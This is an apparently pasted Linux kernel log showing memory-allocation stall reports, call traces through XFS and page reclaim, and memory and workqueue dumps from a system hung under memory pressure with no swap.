[ 1201.820144]  [<ffffffff81161ac4>] try_to_free_pages+0x94/0xc0
[ 1201.824254]  [<ffffffff81153c1c>] __alloc_pages_nodemask+0x69c/0xf70
[ 1201.829014]  [<ffffffff810c1a9b>] ? __lock_acquire+0x75b/0x1a30
[ 1201.833220]  [<ffffffff8119e8c6>] alloc_pages_current+0x96/0x1b0
[ 1201.837477]  [<ffffffff8114933d>] __page_cache_alloc+0x12d/0x160
[ 1201.841758]  [<ffffffff81159d6e>] __do_page_cache_readahead+0x10e/0x370
[ 1201.846403]  [<ffffffff81159dd0>] ? __do_page_cache_readahead+0x170/0x370
[ 1201.851167]  [<ffffffff81149cb7>] ? pagecache_get_page+0x27/0x260
[ 1201.855494]  [<ffffffff8114ce1b>] filemap_fault+0x31b/0x670
[ 1201.859509]  [<ffffffffa0251d00>] ? xfs_ilock+0xd0/0xe0 [xfs]
[ 1201.863631]  [<ffffffffa0245be9>] xfs_filemap_fault+0x39/0x60 [xfs]
[ 1201.868073]  [<ffffffff81176e71>] __do_fault+0x71/0x140
[ 1201.871866]  [<ffffffff8117d53c>] handle_mm_fault+0x12ec/0x1f30
[ 1201.876068]  [<ffffffff8105c865>] ? __do_page_fault+0x1b5/0x560
[ 1201.880291]  [<ffffffff8105c7b2>] ? __do_page_fault+0x102/0x560
[ 1201.884492]  [<ffffffff8105c840>] __do_page_fault+0x190/0x560
[ 1201.888952]  [<ffffffff8105cc40>] do_page_fault+0x30/0x80
[ 1201.893093]  [<ffffffff81629278>] page_fault+0x28/0x30
[ 1201.896840] MemAlloc: kswapd0(56) flags=0xa60840 switches=69433 uninterruptible
[ 1201.903736] kswapd0         D ffff880039fa7178     0    56      2 0x00000000
[ 1201.909494]  ffff880039fa7178 0000000000000006 ffffffff81c0d540 ffff880039fa0100
[ 1201.915008]  ffff880039fa8000 ffff880037de7070 ffff880039fa0100 ffff880035d00000
[ 1201.920524]  0000000000000000 ffff880039fa7190 ffffffff81621dea 7fffffffffffffff
[ 1201.925986] Call Trace:
[ 1201.928112]  [<ffffffff81621dea>] schedule+0x3a/0x90
[ 1201.931838]  [<ffffffff816266df>] schedule_timeout+0x17f/0x1c0
[ 1201.936074]  [<ffffffff810c0dd6>] ? mark_held_locks+0x66/0x90
[ 1201.940535]  [<ffffffff81626ea7>] ? _raw_spin_unlock_irq+0x27/0x60
[ 1201.944987]  [<ffffffff810c0ef9>] ? trace_hardirqs_on_caller+0xf9/0x1c0
[ 1201.949644]  [<ffffffff816253fb>] __down+0x71/0xb8
[ 1201.953149]  [<ffffffff810bcf1c>] down+0x3c/0x50
[ 1201.956682]  [<ffffffffa02425e1>] xfs_buf_lock+0x21/0x50 [xfs]
[ 1201.960832]  [<ffffffffa02427c5>] _xfs_buf_find+0x1b5/0x2e0 [xfs]
[ 1201.965200]  [<ffffffffa0242915>] xfs_buf_get_map+0x25/0x160 [xfs]
[ 1201.969536]  [<ffffffffa0242ee9>] xfs_buf_read_map+0x29/0xe0 [xfs]
[ 1201.973892]  [<ffffffffa026d837>] xfs_trans_read_buf_map+0x97/0x1a0 [xfs]
[ 1201.978644]  [<ffffffffa020ad95>] xfs_read_agf+0x75/0xb0 [xfs]
[ 1201.982842]  [<ffffffffa020adf6>] xfs_alloc_read_agf+0x26/0xd0 [xfs]
[ 1201.987335]  [<ffffffffa020b1c5>] xfs_alloc_fix_freelist+0x325/0x3e0 [xfs]
[ 1201.992105]  [<ffffffffa0239752>] ? xfs_perag_get+0x82/0x110 [xfs]
[ 1201.996447]  [<ffffffff812dd76e>] ? __radix_tree_lookup+0x6e/0xd0
[ 1202.000745]  [<ffffffffa020b47e>] xfs_alloc_vextent+0x19e/0x480 [xfs]
[ 1202.005547]  [<ffffffffa02190cf>] xfs_bmap_btalloc+0x3bf/0x710 [xfs]
[ 1202.010018]  [<ffffffffa0219429>] xfs_bmap_alloc+0x9/0x10 [xfs]
[ 1202.014194]  [<ffffffffa0219e1a>] xfs_bmapi_write+0x47a/0xa10 [xfs]
[ 1202.018597]  [<ffffffffa024f3fd>] xfs_iomap_write_allocate+0x16d/0x350 [xfs]
[ 1202.023493]  [<ffffffffa023c4ed>] xfs_map_blocks+0x13d/0x150 [xfs]
[ 1202.028006]  [<ffffffffa023d468>] xfs_do_writepage+0x158/0x540 [xfs]
[ 1202.032475]  [<ffffffffa023d886>] xfs_vm_writepage+0x36/0x70 [xfs]
[ 1202.036809]  [<ffffffff8115e1df>] pageout.isra.43+0x18f/0x240
[ 1202.040867]  [<ffffffff8115fa85>] shrink_page_list+0x725/0x950
[ 1202.045348]  [<ffffffff811603a5>] shrink_inactive_list+0x205/0x490
[ 1202.049708]  [<ffffffff81160fad>] shrink_zone_memcg+0x5ad/0x740
[ 1202.053893]  [<ffffffff81161214>] shrink_zone+0xd4/0x2f0
[ 1202.057714]  [<ffffffff81162165>] kswapd+0x445/0x830
[ 1202.061317]  [<ffffffff81161d20>] ? mem_cgroup_shrink_node_zone+0xb0/0xb0
[ 1202.066285]  [<ffffffff81094d6e>] kthread+0xee/0x110
[ 1202.069865]  [<ffffffff8162796f>] ret_from_fork+0x1f/0x40
[ 1202.074064]  [<ffffffff81094c80>] ? kthread_create_on_node+0x230/0x230
(...snipped...)
[ 1208.254571] MemAlloc: kworker/2:1(4484) flags=0x4208860 switches=41309 seq=15 gfp=0x2400000(GFP_NOIO) order=0 delay=90419 uninterruptible
[ 1208.254573] kworker/2:1     D ffff88002d50b548     0  4484      2 0x00000080
[ 1208.254588] Workqueue: events_freezable_power_ disk_events_workfn
[ 1208.254589]  ffff88002d50b548 00000001000ddb5a ffff88003fb60080 ffff88002d5040c0
[ 1208.254591]  ffff88002d50c000 ffff88002d50b580 ffff88003d690300 00000001000ddb5a
[ 1208.254592]  0000000000000002 ffff88002d50b560 ffffffff81621dea ffff88003d690300
[ 1208.254592] Call Trace:
[ 1208.254594]  [<ffffffff81621dea>] schedule+0x3a/0x90
[ 1208.254595]  [<ffffffff8162667e>] schedule_timeout+0x11e/0x1c0
[ 1208.254596]  [<ffffffff810e4ba0>] ? init_timer_key+0x40/0x40
[ 1208.254597]  [<ffffffff8112f24a>] ? __delayacct_blkio_start+0x1a/0x30
[ 1208.254598]  [<ffffffff81621571>] io_schedule_timeout+0xa1/0x110
[ 1208.254600]  [<ffffffff8116ba5d>] congestion_wait+0x7d/0xd0
[ 1208.254601]  [<ffffffff810baaa0>] ? wait_woken+0x80/0x80
[ 1208.254602]  [<ffffffff811605e1>] shrink_inactive_list+0x441/0x490
[ 1208.254604]  [<ffffffff81174355>] ? __list_lru_count_one.isra.4+0x45/0x80
[ 1208.254605]  [<ffffffff81160fad>] shrink_zone_memcg+0x5ad/0x740
[ 1208.254606]  [<ffffffff81161214>] shrink_zone+0xd4/0x2f0
[ 1208.254607]  [<ffffffff811617aa>] do_try_to_free_pages+0x17a/0x400
[ 1208.254608]  [<ffffffff81161ac4>] try_to_free_pages+0x94/0xc0
[ 1208.254609]  [<ffffffff81153c1c>] __alloc_pages_nodemask+0x69c/0xf70
[ 1208.254610]  [<ffffffff810c0dd6>] ? mark_held_locks+0x66/0x90
[ 1208.254613]  [<ffffffff811a6029>] ? kmem_cache_alloc_node+0x99/0x1d0
[ 1208.254614]  [<ffffffff8119e8c6>] alloc_pages_current+0x96/0x1b0
[ 1208.254617]  [<ffffffff812a3b2d>] ? bio_alloc_bioset+0x20d/0x2d0
[ 1208.254618]  [<ffffffff812a4f14>] bio_copy_kern+0xc4/0x180
[ 1208.254619]  [<ffffffff812aff00>] blk_rq_map_kern+0x70/0x130
[ 1208.272701]  [<ffffffff8140f2ad>] scsi_execute+0x12d/0x160
[ 1208.272734]  [<ffffffff8140f3d4>] scsi_execute_req_flags+0x84/0xf0
[ 1208.272738]  [<ffffffffa01e0762>] sr_check_events+0xb2/0x2a0 [sr_mod]
[ 1208.272742]  [<ffffffffa01d4163>] cdrom_check_events+0x13/0x30 [cdrom]
[ 1208.272743]  [<ffffffffa01e0ba5>] sr_block_check_events+0x25/0x30 [sr_mod]
[ 1208.272747]  [<ffffffff812bb6db>] disk_check_events+0x5b/0x150
[ 1208.272749]  [<ffffffff812bb7e7>] disk_events_workfn+0x17/0x20
[ 1208.272752]  [<ffffffff8108e2f5>] process_one_work+0x1a5/0x400
[ 1208.272753]  [<ffffffff8108e291>] ? process_one_work+0x141/0x400
[ 1208.272755]  [<ffffffff8108e676>] worker_thread+0x126/0x490
[ 1208.272756]  [<ffffffff8108e550>] ? process_one_work+0x400/0x400
[ 1208.272758]  [<ffffffff81094d6e>] kthread+0xee/0x110
[ 1208.272761]  [<ffffffff8162796f>] ret_from_fork+0x1f/0x40
[ 1208.272762]  [<ffffffff81094c80>] ? kthread_create_on_node+0x230/0x230
[ 1208.272858] Mem-Info:
[ 1208.272864] active_anon:197951 inactive_anon:2919 isolated_anon:0
[ 1208.272864]  active_file:497 inactive_file:551 isolated_file:23
[ 1208.272864]  unevictable:0 dirty:0 writeback:204 unstable:0
[ 1208.272864]  slab_reclaimable:1715 slab_unreclaimable:10861
[ 1208.272864]  mapped:696 shmem:3239 pagetables:5438 bounce:0
[ 1208.272864]  free:12363 free_pcp:219 free_cma:0
[ 1208.272869] Node 0 DMA free:4476kB min:732kB low:912kB high:1092kB active_anon:8600kB inactive_anon:0kB active_file:12kB inactive_file:20kB unevictable:0kB isolated(anon):0kB isolated(file):92kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:28kB mapped:12kB shmem:8kB slab_reclaimable:148kB slab_unreclaimable:756kB kernel_stack:432kB pagetables:524kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[ 1208.272870] lowmem_reserve[]: 0 936 936 936
[ 1208.272874] Node 0 DMA32 free:44976kB min:44320kB low:55400kB high:66480kB active_anon:783204kB inactive_anon:11676kB active_file:1976kB inactive_file:2184kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:1032064kB managed:981068kB mlocked:0kB dirty:0kB writeback:788kB mapped:2772kB shmem:12948kB slab_reclaimable:6712kB slab_unreclaimable:42688kB kernel_stack:20384kB pagetables:21228kB unstable:0kB bounce:0kB free_pcp:876kB local_pcp:104kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[ 1208.272875] lowmem_reserve[]: 0 0 0 0
[ 1208.272883] Node 0 DMA: 37*4kB (U) 27*8kB (UM) 13*16kB (UM) 10*32kB (U) 2*64kB (UM) 3*128kB (UM) 4*256kB (UM) 2*512kB (UM) 1*1024kB (U) 0*2048kB 0*4096kB = 4476kB
[ 1208.272888] Node 0 DMA32: 1420*4kB (UME) 1010*8kB (UME) 661*16kB (UME) 323*32kB (UME) 117*64kB (UME) 22*128kB (UME) 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 44976kB
[ 1208.272890] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[ 1208.272892] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[ 1208.272893] 4329 total pagecache pages
[ 1208.272894] 0 pages in swap cache
[ 1208.272895] Swap cache stats: add 0, delete 0, find 0/0
[ 1208.272895] Free swap  = 0kB
[ 1208.272895] Total swap = 0kB
[ 1208.272897] 262013 pages RAM
[ 1208.272897] 0 pages HighMem/MovableOnly
[ 1208.272898] 12770 pages reserved
[ 1208.272898] 0 pages cma reserved
[ 1208.272898] 0 pages hwpoisoned
[ 1208.272899] Showing busy workqueues and worker pools:
[ 1208.272972] workqueue events_power_efficient: flags=0x80
[ 1208.273012]   pwq 0: cpus=0 node=0 flags=0x0 nice=0 active=1/256
[ 1208.273018]     in-flight: 4340:fb_flashcursor
[ 1208.273030] workqueue events_freezable_power_: flags=0x84
[ 1208.273058]   pwq 4: cpus=2 node=0 flags=0x0 nice=0 active=1/256
[ 1208.273063]     in-flight: 4484:disk_events_workfn
[ 1208.273104] workqueue writeback: flags=0x4e
[ 1208.273106]   pwq 128: cpus=0-63 flags=0x4 nice=0 active=2/256
[ 1208.273111]     in-flight: 73:wb_workfn wb_workfn
[ 1208.306156] workqueue xfs-eofblocks/sda1: flags=0xc
[ 1208.306191]   pwq 4: cpus=2 node=0 flags=0x0 nice=0 active=1/256
[ 1208.306211]     in-flight: 2125:xfs_eofblocks_worker [xfs]
[ 1208.306229] pool 0: cpus=0 node=0 flags=0x0 nice=0 hung=0s workers=13 idle: 4426 2410 4325 4483 4437 4723 4326 2389 4721 4435 4720 2498
[ 1208.306236] pool 4: cpus=2 node=0 flags=0x0 nice=0 hung=0s workers=13 idle: 1882 2396 2156 4427 2483 2293 4718 4646 2516 4722 4719
[ 1208.306302] pool 128: cpus=0-63 flags=0x4 nice=0 hung=0s workers=3 idle: 4706 6
(...snipped...)
[ 1208.311522] MemAlloc-Info: stalling=112 dying=3 exiting=3 victim=0 oom_count=3275
(...snipped...)
[ 1950.054919] MemAlloc-Info: stalling=114 dying=3 exiting=3 victim=0 oom_count=3275
[ 1950.078012] MemAlloc: systemd(1) flags=0x400900 switches=165614 seq=5087 gfp=0x242134a(GFP_NOFS|__GFP_HIGHMEM|__GFP_COLD|__GFP_NOWARN|__GFP_NORETRY|__GFP_HARDWALL|__GFP_MOVABLE) order=0 delay=830398 uninterruptible
[ 1950.111605] systemd         R  running task        0     1      0 0x00000000
[ 1950.122076]  ffff88003faef5b8 0000000100192d5b ffff88003a544100 ffff88003fae8040
[ 1950.128056]  ffff88003faf0000 ffff88003faef5f0 ffff88003d6d0300 0000000100192d5b
[ 1950.133668]  0000000000000002 ffff88003faef5d0 ffffffff81621dea ffff88003d6d0300
[ 1950.139115] Call Trace:
[ 1950.141436]  [<ffffffff81621dea>] schedule+0x3a/0x90
[ 1950.145228]  [<ffffffff8162667e>] schedule_timeout+0x11e/0x1c0
[ 1950.149574]  [<ffffffff810e4ba0>] ? init_timer_key+0x40/0x40
[ 1950.153772]  [<ffffffff8112f24a>] ? __delayacct_blkio_start+0x1a/0x30
[ 1950.158432]  [<ffffffff81621571>] io_schedule_timeout+0xa1/0x110
[ 1950.162841]  [<ffffffff8116ba5d>] congestion_wait+0x7d/0xd0
[ 1950.166950]  [<ffffffff810baaa0>] ? wait_woken+0x80/0x80
[ 1950.170994]  [<ffffffff811605e1>] shrink_inactive_list+0x441/0x490
[ 1950.175841]  [<ffffffff8100301a>] ? trace_hardirqs_on_thunk+0x1a/0x1c
[ 1950.180556]  [<ffffffff81160fad>] shrink_zone_memcg+0x5ad/0x740
[ 1950.185904]  [<ffffffff81161214>] shrink_zone+0xd4/0x2f0
[ 1950.190358]  [<ffffffff811617aa>] do_try_to_free_pages+0x17a/0x400
[ 1950.194978]  [<ffffffff81161ac4>] try_to_free_pages+0x94/0xc0
[ 1950.201233]  [<ffffffff81153c1c>] __alloc_pages_nodemask+0x69c/0xf70
[ 1950.206097]  [<ffffffff810c1a9b>] ? __lock_acquire+0x75b/0x1a30
[ 1950.210494]  [<ffffffff8119e8c6>] alloc_pages_current+0x96/0x1b0
[ 1950.215278]  [<ffffffff8114933d>] __page_cache_alloc+0x12d/0x160
[ 1950.219628]  [<ffffffff81159d6e>] __do_page_cache_readahead+0x10e/0x370
[ 1950.224302]  [<ffffffff81159dd0>] ? __do_page_cache_readahead+0x170/0x370
[ 1950.229148]  [<ffffffff81149cb7>] ? pagecache_get_page+0x27/0x260
[ 1950.233503]  [<ffffffff8114ce1b>] filemap_fault+0x31b/0x670
[ 1950.237520]  [<ffffffffa0251d00>] ? xfs_ilock+0xd0/0xe0 [xfs]
[ 1950.241643]  [<ffffffffa0245be9>] xfs_filemap_fault+0x39/0x60 [xfs]
[ 1950.246027]  [<ffffffff81176e71>] __do_fault+0x71/0x140
[ 1950.249784]  [<ffffffff8117d53c>] handle_mm_fault+0x12ec/0x1f30
[ 1950.253974]  [<ffffffff8105c865>] ? __do_page_fault+0x1b5/0x560
[ 1950.259159]  [<ffffffff8105c7b2>] ? __do_page_fault+0x102/0x560
[ 1950.264641]  [<ffffffff8105c840>] __do_page_fault+0x190/0x560
[ 1950.269192]  [<ffffffff8105cc40>] do_page_fault+0x30/0x80
[ 1950.273736]  [<ffffffff81629278>] page_fault+0x28/0x30
[ 1950.278475] MemAlloc: khugepaged(47) flags=0x200840 switches=8965 seq=9 gfp=0xc752ca(GFP_TRANSHUGE|__GFP_THISNODE|__GFP_DIRECT_RECLAIM|__GFP_OTHER_NODE) order=9 delay=762178 uninterruptible
[ 1950.291797] khugepaged      D ffff88003cf537a8     0    47      2 0x00000000
[ 1950.298253]  ffff88003cf537a8 0000000100192dbf ffff88003fae8040 ffff88003cf3c000
[ 1950.304204]  ffff88003cf54000 ffff88003cf537e0 ffff88003d6d0300 0000000100192dbf
[ 1950.310046]  0000000000000002 ffff88003cf537c0 ffffffff81621dea ffff88003d6d0300
[ 1950.317795] Call Trace:
[ 1950.320089]  [<ffffffff81621dea>] schedule+0x3a/0x90
[ 1950.324003]  [<ffffffff8162667e>] schedule_timeout+0x11e/0x1c0
[ 1950.328400]  [<ffffffff810e4ba0>] ? init_timer_key+0x40/0x40
[ 1950.332449]  [<ffffffff8112f24a>] ? __delayacct_blkio_start+0x1a/0x30
[ 1950.337038]  [<ffffffff81621571>] io_schedule_timeout+0xa1/0x110
[ 1950.341332]  [<ffffffff8116ba5d>] congestion_wait+0x7d/0xd0
[ 1950.345834]  [<ffffffff810baaa0>] ? wait_woken+0x80/0x80
[ 1950.351326]  [<ffffffff811605e1>] shrink_inactive_list+0x441/0x490
[ 1950.355756]  [<ffffffff81174355>] ? __list_lru_count_one.isra.4+0x45/0x80
[ 1950.360660]  [<ffffffff81160fad>] shrink_zone_memcg+0x5ad/0x740
[ 1950.366724]  [<ffffffff81161214>] shrink_zone+0xd4/0x2f0
[ 1950.370594]  [<ffffffff811617aa>] do_try_to_free_pages+0x17a/0x400
[ 1950.374968]  [<ffffffff81161ac4>] try_to_free_pages+0x94/0xc0
[ 1950.379637]  [<ffffffff81153c1c>] __alloc_pages_nodemask+0x69c/0xf70
[ 1950.384061]  [<ffffffff810ba578>] ? remove_wait_queue+0x48/0x50
[ 1950.388185]  [<ffffffff811af13e>] khugepaged+0x80e/0x1510
[ 1950.392291]  [<ffffffff810baaa0>] ? wait_woken+0x80/0x80
[ 1950.396425]  [<ffffffff811ae930>] ? vmf_insert_pfn_pmd+0x1b0/0x1b0
[ 1950.400908]  [<ffffffff81094d6e>] kthread+0xee/0x110
[ 1950.404637]  [<ffffffff8162796f>] ret_from_fork+0x1f/0x40
[ 1950.408407]  [<ffffffff81094c80>] ? kthread_create_on_node+0x230/0x230
[ 1950.412879] MemAlloc: kswapd0(56) flags=0xa60840 switches=69433 uninterruptible
[ 1950.419403] kswapd0         D ffff880039fa7178     0    56      2 0x00000000
[ 1950.424425]  ffff880039fa7178 0000000000000006 ffffffff81c0d540 ffff880039fa0100
[ 1950.430782]  ffff880039fa8000 ffff880037de7070 ffff880039fa0100 ffff880035d00000
[ 1950.436007]  0000000000000000 ffff880039fa7190 ffffffff81621dea 7fffffffffffffff
[ 1950.441198] Call Trace:
[ 1950.443203]  [<ffffffff81621dea>] schedule+0x3a/0x90
[ 1950.447880]  [<ffffffff816266df>] schedule_timeout+0x17f/0x1c0
[ 1950.452830]  [<ffffffff810c0dd6>] ? mark_held_locks+0x66/0x90
[ 1950.456988]  [<ffffffff81626ea7>] ? _raw_spin_unlock_irq+0x27/0x60
[ 1950.461570]  [<ffffffff810c0ef9>] ? trace_hardirqs_on_caller+0xf9/0x1c0
[ 1950.466355]  [<ffffffff816253fb>] __down+0x71/0xb8
[ 1950.469801]  [<ffffffff810bcf1c>] down+0x3c/0x50
[ 1950.473158]  [<ffffffffa02425e1>] xfs_buf_lock+0x21/0x50 [xfs]
[ 1950.477591]  [<ffffffffa02427c5>] _xfs_buf_find+0x1b5/0x2e0 [xfs]
[ 1950.482185]  [<ffffffffa0242915>] xfs_buf_get_map+0x25/0x160 [xfs]
[ 1950.486506]  [<ffffffffa0242ee9>] xfs_buf_read_map+0x29/0xe0 [xfs]
[ 1950.490796]  [<ffffffffa026d837>] xfs_trans_read_buf_map+0x97/0x1a0 [xfs]
[ 1950.495584]  [<ffffffffa020ad95>] xfs_read_agf+0x75/0xb0 [xfs]
[ 1950.499804]  [<ffffffffa020adf6>] xfs_alloc_read_agf+0x26/0xd0 [xfs]
[ 1950.504170]  [<ffffffffa020b1c5>] xfs_alloc_fix_freelist+0x325/0x3e0 [xfs]
[ 1950.508832]  [<ffffffffa0239752>] ? xfs_perag_get+0x82/0x110 [xfs]
[ 1950.513079]  [<ffffffff812dd76e>] ? __radix_tree_lookup+0x6e/0xd0
[ 1950.517235]  [<ffffffffa020b47e>] xfs_alloc_vextent+0x19e/0x480 [xfs]
[ 1950.521686]  [<ffffffffa02190cf>] xfs_bmap_btalloc+0x3bf/0x710 [xfs]
[ 1950.526006]  [<ffffffffa0219429>] xfs_bmap_alloc+0x9/0x10 [xfs]
[ 1950.530096]  [<ffffffffa0219e1a>] xfs_bmapi_write+0x47a/0xa10 [xfs]
[ 1950.534389]  [<ffffffffa024f3fd>] xfs_iomap_write_allocate+0x16d/0x350 [xfs]
[ 1950.539174]  [<ffffffffa023c4ed>] xfs_map_blocks+0x13d/0x150 [xfs]
[ 1950.543411]  [<ffffffffa023d468>] xfs_do_writepage+0x158/0x540 [xfs]
[ 1950.547712]  [<ffffffffa023d886>] xfs_vm_writepage+0x36/0x70 [xfs]
[ 1950.552184]  [<ffffffff8115e1df>] pageout.isra.43+0x18f/0x240
[ 1950.556493]  [<ffffffff8115fa85>] shrink_page_list+0x725/0x950
[ 1950.560540]  [<ffffffff811603a5>] shrink_inactive_list+0x205/0x490
[ 1950.564864]  [<ffffffff81160fad>] shrink_zone_memcg+0x5ad/0x740
[ 1950.569394]  [<ffffffff81161214>] shrink_zone+0xd4/0x2f0
[ 1950.573071]  [<ffffffff81162165>] kswapd+0x445/0x830
[ 1950.576627]  [<ffffffff81161d20>] ? mem_cgroup_shrink_node_zone+0xb0/0xb0
[ 1950.581585]  [<ffffffff81094d6e>] kthread+0xee/0x110
[ 1950.585080]  [<ffffffff8162796f>] ret_from_fork+0x1f/0x40
[ 1950.588837]  [<ffffffff81094c80>] ? kthread_create_on_node+0x230/0x230
(...snipped...)
[ 1964.314371] MemAlloc: kworker/2:1(4484) flags=0x4208860 switches=48311 seq=15 gfp=0x2400000(GFP_NOIO) order=0 delay=838842 uninterruptible
[ 1964.314373] kworker/2:1     D ffff88002d50b548     0  4484      2 0x00000080
[ 1964.314377] Workqueue: events_freezable_power_ disk_events_workfn
[ 1964.314378]  ffff88002d50b548 00000001001964d1 ffff88002a518100 ffff88002d5040c0
[ 1964.314379]  ffff88002d50c000 ffff88002d50b580 ffff88003d690300 00000001001964d1
[ 1964.314380]  0000000000000002 ffff88002d50b560 ffffffff81621dea ffff88003d690300
[ 1964.314380] Call Trace:
[ 1964.314382]  [<ffffffff81621dea>] schedule+0x3a/0x90
[ 1964.314383]  [<ffffffff8162667e>] schedule_timeout+0x11e/0x1c0
[ 1964.314384]  [<ffffffff810e4ba0>] ? init_timer_key+0x40/0x40
[ 1964.314385]  [<ffffffff8112f24a>] ? __delayacct_blkio_start+0x1a/0x30
[ 1964.314386]  [<ffffffff81621571>] io_schedule_timeout+0xa1/0x110
[ 1964.314387]  [<ffffffff8116ba5d>] congestion_wait+0x7d/0xd0
[ 1964.314389]  [<ffffffff810baaa0>] ? wait_woken+0x80/0x80
[ 1964.314390]  [<ffffffff811605e1>] shrink_inactive_list+0x441/0x490
[ 1964.314391]  [<ffffffff81174355>] ? __list_lru_count_one.isra.4+0x45/0x80
[ 1964.314392]  [<ffffffff81160fad>] shrink_zone_memcg+0x5ad/0x740
[ 1964.314393]  [<ffffffff81161214>] shrink_zone+0xd4/0x2f0
[ 1964.314394]  [<ffffffff811617aa>] do_try_to_free_pages+0x17a/0x400
[ 1964.314395]  [<ffffffff81161ac4>] try_to_free_pages+0x94/0xc0
[ 1964.314396]  [<ffffffff81153c1c>] __alloc_pages_nodemask+0x69c/0xf70
[ 1964.314397]  [<ffffffff810c0dd6>] ? mark_held_locks+0x66/0x90
[ 1964.314400]  [<ffffffff811a6029>] ? kmem_cache_alloc_node+0x99/0x1d0
[ 1964.314402]  [<ffffffff8119e8c6>] alloc_pages_current+0x96/0x1b0
[ 1964.314404]  [<ffffffff812a3b2d>] ? bio_alloc_bioset+0x20d/0x2d0
[ 1964.314404]  [<ffffffff812a4f14>] bio_copy_kern+0xc4/0x180
[ 1964.314405]  [<ffffffff812aff00>] blk_rq_map_kern+0x70/0x130
[ 1964.314407]  [<ffffffff8140f2ad>] scsi_execute+0x12d/0x160
[ 1964.314408]  [<ffffffff8140f3d4>] scsi_execute_req_flags+0x84/0xf0
[ 1964.314412]  [<ffffffffa01e0762>] sr_check_events+0xb2/0x2a0 [sr_mod]
[ 1964.314414]  [<ffffffffa01d4163>] cdrom_check_events+0x13/0x30 [cdrom]
[ 1964.314415]  [<ffffffffa01e0ba5>] sr_block_check_events+0x25/0x30 [sr_mod]
[ 1964.314417]  [<ffffffff812bb6db>] disk_check_events+0x5b/0x150
[ 1964.314418]  [<ffffffff812bb7e7>] disk_events_workfn+0x17/0x20
[ 1964.314420]  [<ffffffff8108e2f5>] process_one_work+0x1a5/0x400
[ 1964.314421]  [<ffffffff8108e291>] ? process_one_work+0x141/0x400
[ 1964.314422]  [<ffffffff8108e676>] worker_thread+0x126/0x490
[ 1964.314424]  [<ffffffff8108e550>] ? process_one_work+0x400/0x400
[ 1964.314433]  [<ffffffff81094d6e>] kthread+0xee/0x110
[ 1964.314435]  [<ffffffff8162796f>] ret_from_fork+0x1f/0x40
[ 1964.314436]  [<ffffffff81094c80>] ? kthread_create_on_node+0x230/0x230
[ 1964.314503] Mem-Info:
[ 1964.314507] active_anon:197951 inactive_anon:2919 isolated_anon:0
[ 1964.314507]  active_file:585 inactive_file:1081 isolated_file:23
[ 1964.314507]  unevictable:0 dirty:0 writeback:204 unstable:0
[ 1964.314507]  slab_reclaimable:1715 slab_unreclaimable:10724
[ 1964.314507]  mapped:1114 shmem:3239 pagetables:5438 bounce:0
[ 1964.314507]  free:12237 free_pcp:73 free_cma:0
[ 1964.314512] Node 0 DMA free:4580kB min:732kB low:912kB high:1092kB active_anon:8600kB inactive_anon:0kB active_file:12kB inactive_file:20kB unevictable:0kB isolated(anon):0kB isolated(file):92kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:28kB mapped:12kB shmem:8kB slab_reclaimable:148kB slab_unreclaimable:716kB kernel_stack:368kB pagetables:524kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[ 1964.314514] lowmem_reserve[]: 0 936 936 936
[ 1964.314518] Node 0 DMA32 free:44368kB min:44320kB low:55400kB high:66480kB active_anon:783204kB inactive_anon:11676kB active_file:2328kB inactive_file:4304kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:1032064kB managed:981068kB mlocked:0kB dirty:0kB writeback:788kB mapped:4444kB shmem:12948kB slab_reclaimable:6712kB slab_unreclaimable:42180kB kernel_stack:19552kB pagetables:21228kB unstable:0kB bounce:0kB free_pcp:292kB local_pcp:36kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[ 1964.314519] lowmem_reserve[]: 0 0 0 0
[ 1964.314526] Node 0 DMA: 37*4kB (U) 30*8kB (UM) 18*16kB (UM) 10*32kB (U) 2*64kB (UM) 3*128kB (UM) 4*256kB (UM) 2*512kB (UM) 1*1024kB (U) 0*2048kB 0*4096kB = 4580kB
[ 1964.314530] Node 0 DMA32: 1384*4kB (UE) 1000*8kB (UE) 669*16kB (UME) 335*32kB (UME) 113*64kB (UME) 17*128kB (UME) 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 44368kB
[ 1964.314532] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[ 1964.314532] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[ 1964.314533] 4943 total pagecache pages
[ 1964.314534] 0 pages in swap cache
[ 1964.314535] Swap cache stats: add 0, delete 0, find 0/0
[ 1964.314535] Free swap  = 0kB
[ 1964.314536] Total swap = 0kB
[ 1964.314547] 262013 pages RAM
[ 1964.314547] 0 pages HighMem/MovableOnly
[ 1964.314548] 12770 pages reserved
[ 1964.314548] 0 pages cma reserved
[ 1964.314548] 0 pages hwpoisoned
[ 1964.314549] Showing busy workqueues and worker pools:
[ 1964.314572] workqueue events: flags=0x0
[ 1964.314617]   pwq 4: cpus=2 node=0 flags=0x0 nice=0 active=1/256
[ 1964.314634]     pending: vmw_fb_dirty_flush [vmwgfx]
[ 1964.314673] workqueue events_power_efficient: flags=0x80
[ 1964.314703]   pwq 4: cpus=2 node=0 flags=0x0 nice=0 active=1/256
[ 1964.314706]     in-flight: 1882:fb_flashcursor
[ 1964.314725] workqueue events_freezable_power_: flags=0x84
[ 1964.314744]   pwq 4: cpus=2 node=0 flags=0x0 nice=0 active=1/256
[ 1964.314748]     in-flight: 4484:disk_events_workfn
[ 1964.314794] workqueue writeback: flags=0x4e
[ 1964.314796]   pwq 128: cpus=0-63 flags=0x4 nice=0 active=2/256
[ 1964.314799]     in-flight: 73:wb_workfn wb_workfn
[ 1964.315291] workqueue xfs-eofblocks/sda1: flags=0xc
[ 1964.315314]   pwq 4: cpus=2 node=0 flags=0x0 nice=0 active=1/256
[ 1964.315322]     in-flight: 2125:xfs_eofblocks_worker [xfs]
